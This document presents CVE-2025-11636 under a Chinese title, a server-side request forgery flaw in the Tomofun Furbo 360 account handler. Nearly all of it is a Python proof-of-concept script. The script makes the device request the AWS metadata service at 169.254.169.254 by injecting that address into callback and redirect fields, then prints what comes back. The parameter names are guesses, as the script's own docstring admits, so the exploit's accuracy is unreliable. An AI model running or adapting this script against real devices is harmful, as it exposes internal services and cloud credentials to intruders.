CVE-2025-11636：Tomofun Furbo 360账户处理器SSRF漏洞

# CVE-2025-11636 - Tomofun Furbo 360 SSRF PoC # Vulnerability: Server-Side Request Forgery in Account Handler component # Affected: Tomofun Furbo 360 up to FB0035_FW_036 import requests import sys TARGET_URL = "https://<target-furbo-device>/api/account/handler" INTERNAL_TARGET = "http://169.254.169.254/latest/meta-data/" # AWS metadata service example def exploit_ssrf(target_url, internal_target): """ Exploit SSRF vulnerability in Account Handler component. The Account Handler may accept URL parameters for account verification or OAuth callback processing without proper validation. """ headers = { "Content-Type": "application/json", "User-Agent": "FurboApp/1.0" } # Payload to inject internal URL via account handler parameter payload = { "action": "verify_account", "callback_url": internal_target, "redirect_uri": internal_target, "account_endpoint": internal_target } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text[:500]}") if response.status_code == 200 and "meta-data" in response.text.lower(): print("[!] SSRF confirmed - Internal metadata accessed!") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL internal = sys.argv[2] if len(sys.argv) > 2 else INTERNAL_TARGET exploit_ssrf(target, internal)